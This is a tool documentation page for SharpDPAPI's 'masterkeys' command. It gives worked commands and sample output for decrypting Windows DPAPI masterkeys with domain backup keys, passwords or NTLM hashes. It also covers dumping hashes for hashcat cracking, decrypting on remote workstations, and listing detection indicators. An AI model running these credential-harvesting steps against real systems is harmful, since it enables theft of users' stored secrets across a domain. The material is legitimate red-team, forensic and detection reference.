masterkeys

Overview

The masterkeys command searches for user masterkey files and decrypts them using a domain DPAPI backup key or user credentials. It returns :SHA1 mappings that can be used with other commands for decryption.

Masterkeys are the intermediate encryption keys used by DPAPI. Once decrypted, they can decrypt any DPAPI-protected data for that user.

Basic Usage

# Decrypt masterkeys with domain backup key
SharpDPAPI.exe masterkeys /pvk:key.pvk

# Decrypt masterkeys with user password
SharpDPAPI.exe masterkeys /password:Password123!

# Dump masterkey hashes for offline cracking
SharpDPAPI.exe masterkeys /hashes

Command Arguments

Decryption Methods

Argument	Description
`/pvk:BASE64...`	Base64-encoded domain DPAPI backup key
`/pvk:key.pvk`	Domain backup key file
`/password:X`	User’s plaintext password
`/ntlm:X`	User’s NTLM hash
`/credkey:X`	DPAPI credkey (SHA1 from Mimikatz sekurlsa::msv)
`/rpc`	Decrypt by asking domain controller

Targeting Options

Argument	Description
`/target:FILE`	Target specific masterkey file
`/target:FOLDER`	Target specific folder of masterkeys
`/server:SERVER`	Target remote server (requires pvk or password)

Output Options

Argument	Description
`/hashes`	Output masterkey hashes in John/Hashcat format (no decryption)

When using /password with /target, you must also specify the /sid:X parameter with the user’s full domain SID.

What Are Masterkeys?

Masterkeys are stored in the user’s profile at:

%APPDATA%\Microsoft\Protect\<USER-SID>\<MASTERKEY-GUID>

Each user typically has multiple masterkey files. The Preferred file indicates which masterkey is currently in use.

Example: Decrypt with Domain Backup Key

SharpDPAPI.exe masterkeys /pvk:key.pvk

Output:

[*] Action: Triage User Masterkey Files

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa
[*] Found MasterKey : C:\Users\harmj0y\AppData\Roaming\Microsoft\Protect\S-1-5-21-883232822-274137685-4173207997-1111\3858b304-37e5-48aa-afa2-87aced61921a

[*] User master key cache:

{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
{feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903a9b61c42e6c9ab0f4
{8abc35b1-b718-4a86-9781-7fd7f37101dd}:ae349cdd3a230f5e04f70fd02be69e2e71f1b017

Save these :SHA1 mappings to a file. You can use them with /mkfile:masterkeys.txt in other commands.

Example: Extract Masterkey Hashes

SharpDPAPI.exe masterkeys /hashes

Output:

[*] Action: User DPAPI Masterkey File Triage

[*] Will dump user masterkey hashes

[*] Found MasterKey : C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa

[*] Preferred master keys:

C:\Users\admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1473254003-2681465353-4059813368-1000\28678d89-678a-404f-a197-f4186315c4fa

[*] User master key hashes:

{42e95117-ff5f-40fa-a6fc-87584758a479}:$DPAPImk$1*3*S-1-5-21-1473254003-2681465353-4059813368-1000*des3*sha1*18000*09c49e9af9...

Focus on cracking the “preferred” masterkeys first - these are the currently active keys for each user.

Example: Decrypt with User Password

# For domain-joined machines (plaintext or NTLM)
SharpDPAPI.exe masterkeys /password:Password123!

# With specific target
SharpDPAPI.exe masterkeys /target:C:\Path\To\Masterkey\Folder /password:Password123! /sid:S-1-5-21-883232822-274137685-4173207997-1111

Offline Masterkey Cracking

Extract Hashes

SharpDPAPI.exe masterkeys /hashes > masterkeys.txt

Crack with Hashcat

hashcat -m 15300 masterkeys.txt wordlist.txt

Use Cracked Passwords

SharpDPAPI.exe credentials /password:CrackedPassword!

Using Decrypted Masterkeys

Once you have the :SHA1 mappings, use them with other commands:

# Save to file
{42e95117-ff5f-40fa-a6fc-87584758a479}:4C802894C566B235B7F34B011316E94CC4CE4665
{feef7b25-51d6-4e14-a52f-eb2a387cd0f3}:f9bc09dad3bc2cd00efd903a9b61c42e6c9ab0f4

# Use with other commands
SharpDPAPI.exe credentials /mkfile:masterkeys.txt
SharpDPAPI.exe vaults /mkfile:masterkeys.txt
SharpDPAPI.exe triage /mkfile:masterkeys.txt

Common Scenarios

Domain Admin - Mass Decryption

# Get backup key
SharpDPAPI.exe backupkey /file:key.pvk

# Decrypt all masterkeys locally
SharpDPAPI.exe masterkeys /pvk:key.pvk

# Decrypt masterkeys on remote systems
SharpDPAPI.exe masterkeys /pvk:key.pvk /server:workstation.domain.com

Known User Password

# Decrypt current user's masterkeys
SharpDPAPI.exe masterkeys /password:Password123!

# Decrypt specific user's masterkeys (need SID)
SharpDPAPI.exe masterkeys /target:C:\Users\john\AppData\Roaming\Microsoft\Protect\S-1-5-21-... /password:Password123! /sid:S-1-5-21-...

Offline Analysis

# Dump hashes from copied masterkey files
SharpDPAPI.exe masterkeys /target:C:\Evidence\Protect\S-1-5-21-... /hashes

# Crack offline with hashcat
hashcat -m 15300 -a 0 masterkeys.txt rockyou.txt

# Use cracked password
SharpDPAPI.exe masterkeys /target:C:\Evidence\Protect\S-1-5-21-... /password:recovered_password

Masterkey File Structure

Each masterkey file is encrypted and contains:

GUID: Unique identifier for the masterkey
Encryption: Uses user’s password/hash-derived key
SHA1 Hash: Decrypted masterkey value
Domain Backup: Can be decrypted with domain backup key

Detection Considerations

Host-Based Indicators:

Reading files from %APPDATA%\Microsoft\Protect\ directories
Bulk enumeration of masterkey files
Non-standard processes accessing DPAPI protected data

Network Indicators:

SMB access to user profile directories on remote systems
RPC calls to domain controller for /rpc decryption
Access to SYSVOL for domain backup key retrieval

backupkey

Retrieve domain DPAPI backup key

credentials

Decrypt credentials using masterkeys

triage

Comprehensive DPAPI data extraction

machinemasterkeys

Decrypt machine masterkeys

Tips

Maximizing Success

Always check for the “Preferred” masterkey - it’s the active one
Domain backup key works for all domain users across the entire domain
Masterkey hashes can be cracked offline if you have password lists
Save :SHA1 mappings to avoid re-running masterkey decryption

Troubleshooting

No masterkeys decrypted:

Verify backup key or password is correct
Check user SID matches the Protect folder path
Ensure you have read access to the masterkey files

Partial decryption:

Users may have multiple masterkeys from different time periods
Focus on the “Preferred” masterkey for current data
Older masterkeys may use different user passwords

Getting Started

User Triage Commands

Machine Triage Commands

Utility Commands

SharpChrome

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Output Options

What Are Masterkeys?

Example: Decrypt with Domain Backup Key

Example: Extract Masterkey Hashes

Example: Decrypt with User Password

Offline Masterkey Cracking

Using Decrypted Masterkeys

Common Scenarios

Masterkey File Structure

Detection Considerations

backupkey

credentials

triage

machinemasterkeys

Tips

​Overview

​Basic Usage

​Command Arguments

​Decryption Methods

​Targeting Options

​Output Options

​What Are Masterkeys?

​Example: Decrypt with Domain Backup Key

​Example: Extract Masterkey Hashes

​Example: Decrypt with User Password

​Offline Masterkey Cracking

​Using Decrypted Masterkeys

​Common Scenarios

​Masterkey File Structure

​Detection Considerations

​Related Commands

backupkey

credentials

triage

machinemasterkeys

​Tips

Overview

Basic Usage

Command Arguments

Decryption Methods

Targeting Options

Output Options

What Are Masterkeys?

Example: Decrypt with Domain Backup Key

Example: Extract Masterkey Hashes

Example: Decrypt with User Password

Offline Masterkey Cracking

Using Decrypted Masterkeys

Common Scenarios

Masterkey File Structure

Detection Considerations

Related Commands

Tips